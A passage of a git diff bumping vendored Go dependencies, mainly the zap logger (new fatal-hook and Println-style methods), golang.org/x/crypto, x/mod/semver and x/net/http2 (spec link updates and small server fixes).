nil { + // log.Fatal("cannot open", zap.Error(err)) + // } + // fmt.Println(f.Name()) + // + // The f.Name() will panic if we continue execution after the + // log.Fatal. + if onFatal == nil || onFatal == zapcore.WriteThenNoop { onFatal = zapcore.WriteThenFatal } - ce = ce.Should(ent, onFatal) + ce = ce.After(ent, onFatal) case zapcore.DPanicLevel: if log.development { - ce = ce.Should(ent, zapcore.WriteThenPanic) + ce = ce.After(ent, zapcore.WriteThenPanic) } } diff --git a/vendor/go.uber.org/zap/options.go b/vendor/go.uber.org/zap/options.go index e9e66161f..1511166c0 100644 --- a/vendor/go.uber.org/zap/options.go +++ b/vendor/go.uber.org/zap/options.go @@ -133,9 +133,27 @@ func IncreaseLevel(lvl zapcore.LevelEnabler) Option { } // OnFatal sets the action to take on fatal logs. +// Deprecated: Use WithFatalHook instead. func OnFatal(action zapcore.CheckWriteAction) Option { + return WithFatalHook(action) +} + +// WithFatalHook sets a CheckWriteHook to run on fatal logs. +// Zap will call this hook after writing a log statement with a Fatal level. +// +// For example, the following builds a logger that will exit the current +// goroutine after writing a fatal log message, but it will not exit the +// program. +// +// zap.New(core, zap.WithFatalHook(zapcore.WriteThenGoexit)) +// +// It is important that the provided CheckWriteHook stops the control flow at +// the current statement to meet expectations of callers of the logger. +// We recommend calling os.Exit or runtime.Goexit inside custom hooks at +// minimum. +func WithFatalHook(hook zapcore.CheckWriteHook) Option { return optionFunc(func(log *Logger) { - log.onFatal = action + log.onFatal = hook }) } diff --git a/vendor/go.uber.org/zap/sugar.go b/vendor/go.uber.org/zap/sugar.go index 0b9651981..c450b2dda 100644 --- a/vendor/go.uber.org/zap/sugar.go +++ b/vendor/go.uber.org/zap/sugar.go @@ -38,10 +38,19 @@ const ( // method. // // Unlike the Logger, the SugaredLogger doesn't insist on structured logging. -// For each log level, it exposes three methods: one for loosely-typed -// structured logging, one for println-style formatting, and one for -// printf-style formatting. For example, SugaredLoggers can produce InfoLevel -// output with Infow ("info with" structured context), Info, or Infof. +// For each log level, it exposes four methods: +// +// - methods named after the log level for log.Print-style logging +// - methods ending in "w" for loosely-typed structured logging +// - methods ending in "f" for log.Printf-style logging +// - methods ending in "ln" for log.Println-style logging +// +// For example, the methods for InfoLevel are: +// +// Info(...any) Print-style logging +// Infow(...any) Structured logging (read as "info with") +// Infof(string, ...any) Printf-style logging +// Infoln(...any) Println-style logging type SugaredLogger struct { base *Logger } @@ -61,27 +70,40 @@ func (s *SugaredLogger) Named(name string) *SugaredLogger { return &SugaredLogger{base: s.base.Named(name)} } +// WithOptions clones the current SugaredLogger, applies the supplied Options, +// and returns the result. It's safe to use concurrently. +func (s *SugaredLogger) WithOptions(opts ...Option) *SugaredLogger { + base := s.base.clone() + for _, opt := range opts { + opt.apply(base) + } + return &SugaredLogger{base: base} +} + // With adds a variadic number of fields to the logging context. It accepts a // mix of strongly-typed Field objects and loosely-typed key-value pairs. When // processing pairs, the first element of the pair is used as the field key // and the second as the field value. // // For example, -// sugaredLogger.With( -// "hello", "world", -// "failure", errors.New("oh no"), -// Stack(), -// "count", 42, -// "user", User{Name: "alice"}, -// ) +// +// sugaredLogger.With( +// "hello", "world", +// "failure", errors.New("oh no"), +// Stack(), +// "count", 42, +// "user", User{Name: "alice"}, +// ) +// // is the equivalent of -// unsugared.With( -// String("hello", "world"), -// String("failure", "oh no"), -// Stack(), -// Int("count", 42), -// Object("user", User{Name: "alice"}), -// ) +// +// unsugared.With( +// String("hello", "world"), +// String("failure", "oh no"), +// Stack(), +// Int("count", 42), +// Object("user", User{Name: "alice"}), +// ) // // Note that the keys in key-value pairs should be strings. In development, // passing a non-string key panics. In production, the logger is more @@ -168,7 +190,8 @@ func (s *SugaredLogger) Fatalf(template string, args ...interface{}) { // pairs are treated as they are in With. // // When debug-level logging is disabled, this is much faster than -// s.With(keysAndValues).Debug(msg) +// +// s.With(keysAndValues).Debug(msg) func (s *SugaredLogger) Debugw(msg string, keysAndValues ...interface{}) { s.log(DebugLevel, msg, nil, keysAndValues) } @@ -210,11 +233,48 @@ func (s *SugaredLogger) Fatalw(msg string, keysAndValues ...interface{}) { s.log(FatalLevel, msg, nil, keysAndValues) } +// Debugln uses fmt.Sprintln to construct and log a message. +func (s *SugaredLogger) Debugln(args ...interface{}) { + s.logln(DebugLevel, args, nil) +} + +// Infoln uses fmt.Sprintln to construct and log a message. +func (s *SugaredLogger) Infoln(args ...interface{}) { + s.logln(InfoLevel, args, nil) +} + +// Warnln uses fmt.Sprintln to construct and log a message. +func (s *SugaredLogger) Warnln(args ...interface{}) { + s.logln(WarnLevel, args, nil) +} + +// Errorln uses fmt.Sprintln to construct and log a message. +func (s *SugaredLogger) Errorln(args ...interface{}) { + s.logln(ErrorLevel, args, nil) +} + +// DPanicln uses fmt.Sprintln to construct and log a message. In development, the +// logger then panics. (See DPanicLevel for details.) +func (s *SugaredLogger) DPanicln(args ...interface{}) { + s.logln(DPanicLevel, args, nil) +} + +// Panicln uses fmt.Sprintln to construct and log a message, then panics. +func (s *SugaredLogger) Panicln(args ...interface{}) { + s.logln(PanicLevel, args, nil) +} + +// Fatalln uses fmt.Sprintln to construct and log a message, then calls os.Exit. +func (s *SugaredLogger) Fatalln(args ...interface{}) { + s.logln(FatalLevel, args, nil) +} + // Sync flushes any buffered log entries. func (s *SugaredLogger) Sync() error { return s.base.Sync() } +// log message with Sprint, Sprintf, or neither. func (s *SugaredLogger) log(lvl zapcore.Level, template string, fmtArgs []interface{}, context []interface{}) { // If logging at this level is completely disabled, skip the overhead of // string formatting. @@ -228,6 +288,18 @@ func (s *SugaredLogger) log(lvl zapcore.Level, template string, fmtArgs []interf } } +// logln message with Sprintln +func (s *SugaredLogger) logln(lvl zapcore.Level, fmtArgs []interface{}, context []interface{}) { + if lvl < DPanicLevel && !s.base.Core().Enabled(lvl) { + return + } + + msg := getMessageln(fmtArgs) + if ce := s.base.Check(lvl, msg); ce != nil { + ce.Write(s.sweetenFields(context)...) + } +} + // getMessage format with Sprint, Sprintf, or neither. func getMessage(template string, fmtArgs []interface{}) string { if len(fmtArgs) == 0 { @@ -246,6 +318,12 @@ func getMessage(template string, fmtArgs []interface{}) string { return fmt.Sprint(fmtArgs...) } +// getMessageln format with Sprintln. +func getMessageln(fmtArgs []interface{}) string { + msg := fmt.Sprintln(fmtArgs...) + return msg[:len(msg)-1] +} + func (s *SugaredLogger) sweetenFields(args []interface{}) []Field { if len(args) == 0 { return nil diff --git a/vendor/go.uber.org/zap/writer.go b/vendor/go.uber.org/zap/writer.go index 86a709ab0..00eba4ed7 100644 --- a/vendor/go.uber.org/zap/writer.go +++ b/vendor/go.uber.org/zap/writer.go @@ -23,7 +23,6 @@ package zap import ( "fmt" "io" - "io/ioutil" "go.uber.org/zap/zapcore" @@ -79,7 +78,7 @@ func open(paths []string) ([]zapcore.WriteSyncer, func(), error) { } if openErr != nil { close() - return writers, nil, openErr + return nil, nil, openErr } return writers, close, nil @@ -93,7 +92,7 @@ func open(paths []string) ([]zapcore.WriteSyncer, func(), error) { // using zapcore.NewMultiWriteSyncer and zapcore.Lock individually. func CombineWriteSyncers(writers ...zapcore.WriteSyncer) zapcore.WriteSyncer { if len(writers) == 0 { - return zapcore.AddSync(ioutil.Discard) + return zapcore.AddSync(io.Discard) } return zapcore.Lock(zapcore.NewMultiWriteSyncer(writers...)) } diff --git a/vendor/go.uber.org/zap/zapcore/buffered_write_syncer.go b/vendor/go.uber.org/zap/zapcore/buffered_write_syncer.go index ef2f7d963..a40e93b3e 100644 --- a/vendor/go.uber.org/zap/zapcore/buffered_write_syncer.go +++ b/vendor/go.uber.org/zap/zapcore/buffered_write_syncer.go @@ -43,6 +43,37 @@ const ( // // BufferedWriteSyncer is safe for concurrent use. You don't need to use // zapcore.Lock for WriteSyncers with BufferedWriteSyncer. +// +// To set up a BufferedWriteSyncer, construct a WriteSyncer for your log +// destination (*os.File is a valid WriteSyncer), wrap it with +// BufferedWriteSyncer, and defer a Stop() call for when you no longer need the +// object. +// +// func main() { +// ws := ... // your log destination +// bws := &zapcore.BufferedWriteSyncer{WS: ws} +// defer bws.Stop() +// +// // ... +// core := zapcore.NewCore(enc, bws, lvl) +// logger := zap.New(core) +// +// // ... +// } +// +// By default, a BufferedWriteSyncer will buffer up to 256 kilobytes of logs, +// waiting at most 30 seconds between flushes. +// You can customize these parameters by setting the Size or FlushInterval +// fields. +// For example, the following buffers up to 512 kB of logs before flushing them +// to Stderr, with a maximum of one minute between each flush. +// +// ws := &BufferedWriteSyncer{ +// WS: os.Stderr, +// Size: 512 * 1024, // 512 kB +// FlushInterval: time.Minute, +// } +// defer ws.Stop() type BufferedWriteSyncer struct { // WS is the WriteSyncer around which BufferedWriteSyncer will buffer // writes. diff --git a/vendor/go.uber.org/zap/zapcore/encoder.go b/vendor/go.uber.org/zap/zapcore/encoder.go index 6e5fd5651..5769ff3e4 100644 --- a/vendor/go.uber.org/zap/zapcore/encoder.go +++ b/vendor/go.uber.org/zap/zapcore/encoder.go @@ -188,10 +188,13 @@ func (e *TimeEncoder) UnmarshalText(text []byte) error { // UnmarshalYAML unmarshals YAML to a TimeEncoder. // If value is an object with a "layout" field, it will be unmarshaled to TimeEncoder with given layout. -// timeEncoder: -// layout: 06/01/02 03:04pm +// +// timeEncoder: +// layout: 06/01/02 03:04pm +// // If value is string, it uses UnmarshalText. -// timeEncoder: iso8601 +// +// timeEncoder: iso8601 func (e *TimeEncoder) UnmarshalYAML(unmarshal func(interface{}) error) error { var o struct { Layout string `json:"layout" yaml:"layout"` diff --git a/vendor/go.uber.org/zap/zapcore/entry.go b/vendor/go.uber.org/zap/zapcore/entry.go index 0885505b7..ea0431eb3 100644 --- a/vendor/go.uber.org/zap/zapcore/entry.go +++ b/vendor/go.uber.org/zap/zapcore/entry.go @@ -27,10 +27,9 @@ import ( "sync" "time" + "go.uber.org/multierr" "go.uber.org/zap/internal/bufferpool" "go.uber.org/zap/internal/exit" - - "go.uber.org/multierr" ) var ( @@ -152,6 +151,27 @@ type Entry struct { Stack string } +// CheckWriteHook is a custom action that may be executed after an entry is +// written. +// +// Register one on a CheckedEntry with the After method. +// +// if ce := logger.Check(...); ce != nil { +// ce = ce.After(hook) +// ce.Write(...) +// } +// +// You can configure the hook for Fatal log statements at the logger level with +// the zap.WithFatalHook option. +type CheckWriteHook interface { + // OnWrite is invoked with the CheckedEntry that was written and a list + // of fields added with that entry. + // + // The list of fields DOES NOT include fields that were already added + // to the logger with the With method. + OnWrite(*CheckedEntry, []Field) +} + // CheckWriteAction indicates what action to take after a log entry is // processed. Actions are ordered in increasing severity. type CheckWriteAction uint8 @@ -164,21 +184,36 @@ const ( WriteThenGoexit // WriteThenPanic causes a panic after Write. WriteThenPanic - // WriteThenFatal causes a fatal os.Exit after Write. + // WriteThenFatal causes an os.Exit(1) after Write. WriteThenFatal ) +// OnWrite implements the OnWrite method to keep CheckWriteAction compatible +// with the new CheckWriteHook interface which deprecates CheckWriteAction. +func (a CheckWriteAction) OnWrite(ce *CheckedEntry, _ []Field) { + switch a { + case WriteThenGoexit: + runtime.Goexit() + case WriteThenPanic: + panic(ce.Message) + case WriteThenFatal: + exit.With(1) + } +} + +var _ CheckWriteHook = CheckWriteAction(0) + // CheckedEntry is an Entry together with a collection of Cores that have // already agreed to log it. // -// CheckedEntry references should be created by calling AddCore or Should on a +// CheckedEntry references should be created by calling AddCore or After on a // nil *CheckedEntry. References are returned to a pool after Write, and MUST // NOT be retained after calling their Write method. type CheckedEntry struct { Entry ErrorOutput WriteSyncer dirty bool // best-effort detection of pool misuse - should CheckWriteAction + after CheckWriteHook cores []Core } @@ -186,7 +221,7 @@ func (ce *CheckedEntry) reset() { ce.Entry = Entry{} ce.ErrorOutput = nil ce.dirty = false - ce.should = WriteThenNoop + ce.after = nil for i := range ce.cores { // don't keep references to cores ce.cores[i] = nil @@ -224,17 +259,11 @@ func (ce *CheckedEntry) Write(fields ...Field) { ce.ErrorOutput.Sync() } - should, msg := ce.should, ce.Message - putCheckedEntry(ce) - - switch should { - case WriteThenPanic: - panic(msg) - case WriteThenFatal: - exit.Exit() - case WriteThenGoexit: - runtime.Goexit() + hook := ce.after + if hook != nil { + hook.OnWrite(ce, fields) } + putCheckedEntry(ce) } // AddCore adds a Core that has agreed to log this CheckedEntry. It's intended to be @@ -252,11 +281,19 @@ func (ce *CheckedEntry) AddCore(ent Entry, core Core) *CheckedEntry { // Should sets this CheckedEntry's CheckWriteAction, which controls whether a // Core will panic or fatal after writing this log entry. Like AddCore, it's // safe to call on nil CheckedEntry references. +// Deprecated: Use After(ent Entry, after CheckWriteHook) instead. func (ce *CheckedEntry) Should(ent Entry, should CheckWriteAction) *CheckedEntry { + return ce.After(ent, should) +} + +// After sets this CheckEntry's CheckWriteHook, which will be called after this +// log entry has been written. It's safe to call this on nil CheckedEntry +// references. +func (ce *CheckedEntry) After(ent Entry, hook CheckWriteHook) *CheckedEntry { if ce == nil { ce = getCheckedEntry() ce.Entry = ent } - ce.should = should + ce.after = hook return ce } diff --git a/vendor/go.uber.org/zap/zapcore/error.go b/vendor/go.uber.org/zap/zapcore/error.go index 74919b0cc..06359907a 100644 --- a/vendor/go.uber.org/zap/zapcore/error.go +++ b/vendor/go.uber.org/zap/zapcore/error.go @@ -36,13 +36,13 @@ import ( // causer (from github.com/pkg/errors), a ${key}Causes field is added with an // array of objects containing the errors this error was comprised of. // -// { -// "error": err.Error(), -// "errorVerbose": fmt.Sprintf("%+v", err), -// "errorCauses": [ -// ... -// ], -// } +// { +// "error": err.Error(), +// "errorVerbose": fmt.Sprintf("%+v", err), +// "errorCauses": [ +// ... +// ], +// } func encodeError(key string, err error, enc ObjectEncoder) (retErr error) { // Try to capture panics (from nil references or otherwise) when calling // the Error() method diff --git a/vendor/go.uber.org/zap/zapcore/json_encoder.go b/vendor/go.uber.org/zap/zapcore/json_encoder.go index c5d751b82..3921c5cd3 100644 --- a/vendor/go.uber.org/zap/zapcore/json_encoder.go +++ b/vendor/go.uber.org/zap/zapcore/json_encoder.go @@ -71,7 +71,9 @@ type jsonEncoder struct { // // Note that the encoder doesn't deduplicate keys, so it's possible to produce // a message like -// {"foo":"bar","foo":"baz"} +// +// {"foo":"bar","foo":"baz"} +// // This is permitted by the JSON specification, but not encouraged. Many // libraries will ignore duplicate key-value pairs (typically keeping the last // pair) when unmarshaling, but users should attempt to avoid adding duplicate diff --git a/vendor/go.uber.org/zap/zapcore/sampler.go b/vendor/go.uber.org/zap/zapcore/sampler.go index 8c116049d..a15b7c910 100644 --- a/vendor/go.uber.org/zap/zapcore/sampler.go +++ b/vendor/go.uber.org/zap/zapcore/sampler.go @@ -113,12 +113,12 @@ func nopSamplingHook(Entry, SamplingDecision) {} // This hook may be used to get visibility into the performance of the sampler. // For example, use it to track metrics of dropped versus sampled logs. // -// var dropped atomic.Int64 -// zapcore.SamplerHook(func(ent zapcore.Entry, dec zapcore.SamplingDecision) { -// if dec&zapcore.LogDropped > 0 { -// dropped.Inc() -// } -// }) +// var dropped atomic.Int64 +// zapcore.SamplerHook(func(ent zapcore.Entry, dec zapcore.SamplingDecision) { +// if dec&zapcore.LogDropped > 0 { +// dropped.Inc() +// } +// }) func SamplerHook(hook func(entry Entry, dec SamplingDecision)) SamplerOption { return optionFunc(func(s *sampler) { s.hook = hook @@ -135,7 +135,7 @@ func SamplerHook(hook func(entry Entry, dec SamplingDecision)) SamplerOption { // // For example, // -// core = NewSamplerWithOptions(core, time.Second, 10, 5) +// core = NewSamplerWithOptions(core, time.Second, 10, 5) // // This will log the first 10 log entries with the same level and message // in a one second interval as-is. Following that, it will allow through diff --git a/vendor/golang.org/x/crypto/AUTHORS b/vendor/golang.org/x/crypto/AUTHORS deleted file mode 100644 index 2b00ddba0..000000000 --- a/vendor/golang.org/x/crypto/AUTHORS +++ /dev/null @@ -1,3 +0,0 @@ -# This source code refers to The Go Authors for copyright purposes. -# The master list of authors is in the main Go distribution, -# visible at https://tip.golang.org/AUTHORS. diff --git a/vendor/golang.org/x/crypto/CONTRIBUTORS b/vendor/golang.org/x/crypto/CONTRIBUTORS deleted file mode 100644 index 1fbd3e976..000000000 --- a/vendor/golang.org/x/crypto/CONTRIBUTORS +++ /dev/null @@ -1,3 +0,0 @@ -# This source code was written by the Go contributors. -# The master list of contributors is in the main Go distribution, -# visible at https://tip.golang.org/CONTRIBUTORS. diff --git a/vendor/golang.org/x/crypto/curve25519/curve25519.go b/vendor/golang.org/x/crypto/curve25519/curve25519.go index cda3fdd35..bc62161d6 100644 --- a/vendor/golang.org/x/crypto/curve25519/curve25519.go +++ b/vendor/golang.org/x/crypto/curve25519/curve25519.go @@ -9,7 +9,8 @@ package curve25519 // import "golang.org/x/crypto/curve25519" import ( "crypto/subtle" - "fmt" + "errors" + "strconv" "golang.org/x/crypto/curve25519/internal/field" ) @@ -124,10 +125,10 @@ func X25519(scalar, point []byte) ([]byte, error) { func x25519(dst *[32]byte, scalar, point []byte) ([]byte, error) { var in [32]byte if l := len(scalar); l != 32 { - return nil, fmt.Errorf("bad scalar length: %d, expected %d", l, 32) + return nil, errors.New("bad scalar length: " + strconv.Itoa(l) + ", expected 32") } if l := len(point); l != 32 { - return nil, fmt.Errorf("bad point length: %d, expected %d", l, 32) + return nil, errors.New("bad point length: " + strconv.Itoa(l) + ", expected 32") } copy(in[:], scalar) if &point[0] == &Basepoint[0] { @@ -138,7 +139,7 @@ func x25519(dst *[32]byte, scalar, point []byte) ([]byte, error) { copy(base[:], point) ScalarMult(dst, &in, &base) if subtle.ConstantTimeCompare(dst[:], zero[:]) == 1 { - return nil, fmt.Errorf("bad input point: low order point") + return nil, errors.New("bad input point: low order point") } } return dst[:], nil diff --git a/vendor/golang.org/x/crypto/ssh/certs.go b/vendor/golang.org/x/crypto/ssh/certs.go index a69e22491..4600c2077 100644 --- a/vendor/golang.org/x/crypto/ssh/certs.go +++ b/vendor/golang.org/x/crypto/ssh/certs.go @@ -460,6 +460,8 @@ func (c *Certificate) SignCert(rand io.Reader, authority Signer) error { // certKeyAlgoNames is a mapping from known certificate algorithm names to the // corresponding public key signature algorithm. +// +// This map must be kept in sync with the one in agent/client.go. var certKeyAlgoNames = map[string]string{ CertAlgoRSAv01: KeyAlgoRSA, CertAlgoRSASHA256v01: KeyAlgoRSASHA256, diff --git a/vendor/golang.org/x/mod/semver/semver.go b/vendor/golang.org/x/mod/semver/semver.go index 4338f3517..a30a22bf2 100644 --- a/vendor/golang.org/x/mod/semver/semver.go +++ b/vendor/golang.org/x/mod/semver/semver.go @@ -22,6 +22,8 @@ // as shorthands for vMAJOR.0.0 and vMAJOR.MINOR.0. package semver +import "sort" + // parsed returns the parsed form of a semantic version string. type parsed struct { major string @@ -30,7 +32,6 @@ type parsed struct { short string prerelease string build string - err string } // IsValid reports whether v is a valid semantic version string. @@ -150,14 +151,30 @@ func Max(v, w string) string { return w } +// ByVersion implements sort.Interface for sorting semantic version strings. +type ByVersion []string + +func (vs ByVersion) Len() int { return len(vs) } +func (vs ByVersion) Swap(i, j int) { vs[i], vs[j] = vs[j], vs[i] } +func (vs ByVersion) Less(i, j int) bool { + cmp := Compare(vs[i], vs[j]) + if cmp != 0 { + return cmp < 0 + } + return vs[i] < vs[j] +} + +// Sort sorts a list of semantic version strings using ByVersion. +func Sort(list []string) { + sort.Sort(ByVersion(list)) +} + func parse(v string) (p parsed, ok bool) { if v == "" || v[0] != 'v' { - p.err = "missing v prefix" return } p.major, v, ok = parseInt(v[1:]) if !ok { - p.err = "bad major version" return } if v == "" { @@ -167,13 +184,11 @@ func parse(v string) (p parsed, ok bool) { return } if v[0] != '.' { - p.err = "bad minor prefix" ok = false return } p.minor, v, ok = parseInt(v[1:]) if !ok { - p.err = "bad minor version" return } if v == "" { @@ -182,31 +197,26 @@ func parse(v string) (p parsed, ok bool) { return } if v[0] != '.' { - p.err = "bad patch prefix" ok = false return } p.patch, v, ok = parseInt(v[1:]) if !ok { - p.err = "bad patch version" return } if len(v) > 0 && v[0] == '-' { p.prerelease, v, ok = parsePrerelease(v) if !ok { - p.err = "bad prerelease" return } } if len(v) > 0 && v[0] == '+' { p.build, v, ok = parseBuild(v) if !ok { - p.err = "bad build" return } } if v != "" { - p.err = "junk on end" ok = false return } diff --git a/vendor/golang.org/x/net/http2/frame.go b/vendor/golang.org/x/net/http2/frame.go index 0178647ee..184ac45fe 100644 --- a/vendor/golang.org/x/net/http2/frame.go +++ b/vendor/golang.org/x/net/http2/frame.go @@ -23,7 +23,7 @@ const frameHeaderLen = 9 var padZeros = make([]byte, 255) // zeros for padding // A FrameType is a registered frame type as defined in -// http://http2.github.io/http2-spec/#rfc.section.11.2 +// https://httpwg.org/specs/rfc7540.html#rfc.section.11.2 type FrameType uint8 const ( @@ -146,7 +146,7 @@ func typeFrameParser(t FrameType) frameParser { // A FrameHeader is the 9 byte header of all HTTP/2 frames. // -// See http://http2.github.io/http2-spec/#FrameHeader +// See https://httpwg.org/specs/rfc7540.html#FrameHeader type FrameHeader struct { valid bool // caller can access []byte fields in the Frame @@ -575,7 +575,7 @@ func (fr *Framer) checkFrameOrder(f Frame) error { // A DataFrame conveys arbitrary, variable-length sequences of octets // associated with a stream. -// See http://http2.github.io/http2-spec/#rfc.section.6.1 +// See https://httpwg.org/specs/rfc7540.html#rfc.section.6.1 type DataFrame struct { FrameHeader data []byte @@ -698,7 +698,7 @@ func (f *Framer) WriteDataPadded(streamID uint32, endStream bool, data, pad []by // endpoints communicate, such as preferences and constraints on peer // behavior. // -// See http://http2.github.io/http2-spec/#SETTINGS +// See https://httpwg.org/specs/rfc7540.html#SETTINGS type SettingsFrame struct { FrameHeader p []byte @@ -837,7 +837,7 @@ func (f *Framer) WriteSettingsAck() error { // A PingFrame is a mechanism for measuring a minimal round trip time // from the sender, as well as determining whether an idle connection // is still functional. -// See http://http2.github.io/http2-spec/#rfc.section.6.7 +// See https://httpwg.org/specs/rfc7540.html#rfc.section.6.7 type PingFrame struct { FrameHeader Data [8]byte @@ -870,7 +870,7 @@ func (f *Framer) WritePing(ack bool, data [8]byte) error { } // A GoAwayFrame informs the remote peer to stop creating streams on this connection. -// See http://http2.github.io/http2-spec/#rfc.section.6.8 +// See https://httpwg.org/specs/rfc7540.html#rfc.section.6.8 type GoAwayFrame struct { FrameHeader LastStreamID uint32 @@ -934,7 +934,7 @@ func parseUnknownFrame(_ *frameCache, fh FrameHeader, countError func(string), p } // A WindowUpdateFrame is used to implement flow control. -// See http://http2.github.io/http2-spec/#rfc.section.6.9 +// See https://httpwg.org/specs/rfc7540.html#rfc.section.6.9 type WindowUpdateFrame struct { FrameHeader Increment uint32 // never read with high bit set @@ -1123,7 +1123,7 @@ func (f *Framer) WriteHeaders(p HeadersFrameParam) error { } // A PriorityFrame specifies the sender-advised priority of a stream. -// See http://http2.github.io/http2-spec/#rfc.section.6.3 +// See https://httpwg.org/specs/rfc7540.html#rfc.section.6.3 type PriorityFrame struct { FrameHeader PriorityParam @@ -1193,7 +1193,7 @@ func (f *Framer) WritePriority(streamID uint32, p PriorityParam) error { } // A RSTStreamFrame allows for abnormal termination of a stream. -// See http://http2.github.io/http2-spec/#rfc.section.6.4 +// See https://httpwg.org/specs/rfc7540.html#rfc.section.6.4 type RSTStreamFrame struct { FrameHeader ErrCode ErrCode @@ -1225,7 +1225,7 @@ func (f *Framer) WriteRSTStream(streamID uint32, code ErrCode) error { } // A ContinuationFrame is used to continue a sequence of header block fragments. -// See http://http2.github.io/http2-spec/#rfc.section.6.10 +// See https://httpwg.org/specs/rfc7540.html#rfc.section.6.10 type ContinuationFrame struct { FrameHeader headerFragBuf []byte @@ -1266,7 +1266,7 @@ func (f *Framer) WriteContinuation(streamID uint32, endHeaders bool, headerBlock } // A PushPromiseFrame is used to initiate a server stream. -// See http://http2.github.io/http2-spec/#rfc.section.6.6 +// See https://httpwg.org/specs/rfc7540.html#rfc.section.6.6 type PushPromiseFrame struct { FrameHeader PromiseID uint32 diff --git a/vendor/golang.org/x/net/http2/hpack/encode.go b/vendor/golang.org/x/net/http2/hpack/encode.go index 97f17831f..6886dc163 100644 --- a/vendor/golang.org/x/net/http2/hpack/encode.go +++ b/vendor/golang.org/x/net/http2/hpack/encode.go @@ -191,7 +191,7 @@ func appendTableSize(dst []byte, v uint32) []byte { // bit prefix, to dst and returns the extended buffer. // // See -// http://http2.github.io/http2-spec/compression.html#integer.representation +// https://httpwg.org/specs/rfc7541.html#integer.representation func appendVarInt(dst []byte, n byte, i uint64) []byte { k := uint64((1 << n) - 1) if i < k { diff --git a/vendor/golang.org/x/net/http2/hpack/hpack.go b/vendor/golang.org/x/net/http2/hpack/hpack.go index 85f18a2b0..ebdfbee96 100644 --- a/vendor/golang.org/x/net/http2/hpack/hpack.go +++ b/vendor/golang.org/x/net/http2/hpack/hpack.go @@ -59,7 +59,7 @@ func (hf HeaderField) String() string { // Size returns the size of an entry per RFC 7541 section 4.1. func (hf HeaderField) Size() uint32 { - // http://http2.github.io/http2-spec/compression.html#rfc.section.4.1 + // https://httpwg.org/specs/rfc7541.html#rfc.section.4.1 // "The size of the dynamic table is the sum of the size of // its entries. The size of an entry is the sum of its name's // length in octets (as defined in Section 5.2), its value's @@ -158,7 +158,7 @@ func (d *Decoder) SetAllowedMaxDynamicTableSize(v uint32) { } type dynamicTable struct { - // http://http2.github.io/http2-spec/compression.html#rfc.section.2.3.2 + // https://httpwg.org/specs/rfc7541.html#rfc.section.2.3.2 table headerFieldTable size uint32 // in bytes maxSize uint32 // current maxSize @@ -307,27 +307,27 @@ func (d *Decoder) parseHeaderFieldRepr() error { case b&128 != 0: // Indexed representation. // High bit set? - // http://http2.github.io/http2-spec/compression.html#rfc.section.6.1 + // https://httpwg.org/specs/rfc7541.html#rfc.section.6.1 return d.parseFieldIndexed() case b&192 == 64: // 6.2.1 Literal Header Field with Incremental Indexing // 0b10xxxxxx: top two bits are 10 - // http://http2.github.io/http2-spec/compression.html#rfc.section.6.2.1 + // https://httpwg.org/specs/rfc7541.html#rfc.section.6.2.1 return d.parseFieldLiteral(6, indexedTrue) case b&240 == 0: // 6.2.2 Literal Header Field without Indexing // 0b0000xxxx: top four bits are 0000 - // http://http2.github.io/http2-spec/compression.html#rfc.section.6.2.2 + // https://httpwg.org/specs/rfc7541.html#rfc.section.6.2.2 return d.parseFieldLiteral(4, indexedFalse) case b&240 == 16: // 6.2.3 Literal Header Field never Indexed // 0b0001xxxx: top four bits are 0001 - // http://http2.github.io/http2-spec/compression.html#rfc.section.6.2.3 + // https://httpwg.org/specs/rfc7541.html#rfc.section.6.2.3 return d.parseFieldLiteral(4, indexedNever) case b&224 == 32: // 6.3 Dynamic Table Size Update // Top three bits are '001'. - // http://http2.github.io/http2-spec/compression.html#rfc.section.6.3 + // https://httpwg.org/specs/rfc7541.html#rfc.section.6.3 return d.parseDynamicTableSizeUpdate() } @@ -420,7 +420,7 @@ var errVarintOverflow = DecodingError{errors.New("varint integer overflow")} // readVarInt reads an unsigned variable length integer off the // beginning of p. n is the parameter as described in -// http://http2.github.io/http2-spec/compression.html#rfc.section.5.1. +// https://httpwg.org/specs/rfc7541.html#rfc.section.5.1. // // n must always be between 1 and 8. // diff --git a/vendor/golang.org/x/net/http2/http2.go b/vendor/golang.org/x/net/http2/http2.go index 479ba4b2b..6f2df2818 100644 --- a/vendor/golang.org/x/net/http2/http2.go +++ b/vendor/golang.org/x/net/http2/http2.go @@ -55,14 +55,14 @@ const ( ClientPreface = "PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n" // SETTINGS_MAX_FRAME_SIZE default - // http://http2.github.io/http2-spec/#rfc.section.6.5.2 + // https://httpwg.org/specs/rfc7540.html#rfc.section.6.5.2 initialMaxFrameSize = 16384 // NextProtoTLS is the NPN/ALPN protocol negotiated during // HTTP/2's TLS setup. NextProtoTLS = "h2" - // http://http2.github.io/http2-spec/#SettingValues + // https://httpwg.org/specs/rfc7540.html#SettingValues initialHeaderTableSize = 4096 initialWindowSize = 65535 // 6.9.2 Initial Flow Control Window Size @@ -111,7 +111,7 @@ func (st streamState) String() string { // Setting is a setting parameter: which setting it is, and its value. type Setting struct { // ID is which setting is being set. - // See http://http2.github.io/http2-spec/#SettingValues + // See https://httpwg.org/specs/rfc7540.html#SettingFormat ID SettingID // Val is the value. @@ -143,7 +143,7 @@ func (s Setting) Valid() error { } // A SettingID is an HTTP/2 setting as defined in -// http://http2.github.io/http2-spec/#iana-settings +// https://httpwg.org/specs/rfc7540.html#iana-settings type SettingID uint16 const ( diff --git a/vendor/golang.org/x/net/http2/server.go b/vendor/golang.org/x/net/http2/server.go index 47524a61a..aa3b0864e 100644 --- a/vendor/golang.org/x/net/http2/server.go +++ b/vendor/golang.org/x/net/http2/server.go @@ -1747,6 +1747,12 @@ func (sc *serverConn) processData(f *DataFrame) error { // Sender sending more than they'd declared? if st.declBodyBytes != -1 && st.bodyBytes+int64(len(data)) > st.declBodyBytes { + if sc.inflow.available() < int32(f.Length) { + return sc.countError("data_flow", streamError(id, ErrCodeFlowControl)) + } + sc.inflow.take(int32(f.Length)) + sc.sendWindowUpdate(nil, int(f.Length)) // conn-level + st.body.CloseWithError(fmt.Errorf("sender tried to send more than declared Content-Length of %d bytes", st.declBodyBytes)) // RFC 7540, sec 8.1.2.6: A request or response is also malformed if the // value of a content-length header field does not equal the sum of the @@ -2223,6 +2229,9 @@ func (sc *serverConn) runHandler(rw *responseWriter, req *http.Request, handler didPanic := true defer func() { rw.rws.stream.cancelCtx() + if req.MultipartForm != nil { + req.MultipartForm.RemoveAll() + } if didPanic { e := recover() sc.writeFrameFromHandler(FrameWriteRequest{ diff --git a/vendor/golang.org/x/net/http2/transport.go 